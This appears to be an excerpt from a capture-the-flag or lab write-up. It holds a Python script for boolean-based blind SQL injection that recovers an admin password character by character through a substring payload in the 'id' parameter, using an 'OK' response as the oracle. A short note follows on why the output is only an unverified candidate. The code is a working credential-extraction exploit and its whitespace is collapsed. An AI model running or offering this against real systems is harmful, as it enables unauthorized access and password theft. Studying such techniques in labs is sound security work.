for i inrange(1, 31): found_char = False for char in charset: # Test: substring(pw, index, length) = char payload = f"'and(substring(pw,{i},1)='{char}')--" params = {'id': 'admin' + payload, 'pw': 'a'}
try: r = session.get(url, params=params, timeout=5, allow_redirects=False) r.raise_for_status() if300 <= r.status_code < 400: raise RuntimeError("Redirect received; oracle result is unknown") if"OK"in r.text: password += char print(f"[+] Found char at index {i}: {char}") found_char = True break except requests.RequestException as e: raise RuntimeError("Request failed; oracle result is unknown") from e
ifnot found_char: raise RuntimeError(f"No character matched at position {i}; length or alphabet is unresolved")
print(f"[EXTRACTED CANDIDATE] {password}")
The retained output continued beyond the length of the recorded
answer and does not establish extraction success, so it is not used as
verification. params preserves punctuation such as
+ through form encoding. The OK substring
remains a historical, uncalibrated predicate: a current true/false
control pair and a confirmed password length are required before
treating extraction as complete. The loop aborts on an unmatched
position, transport failure, or redirect; reaching the configured limit
still yields only a candidate, not a verified password.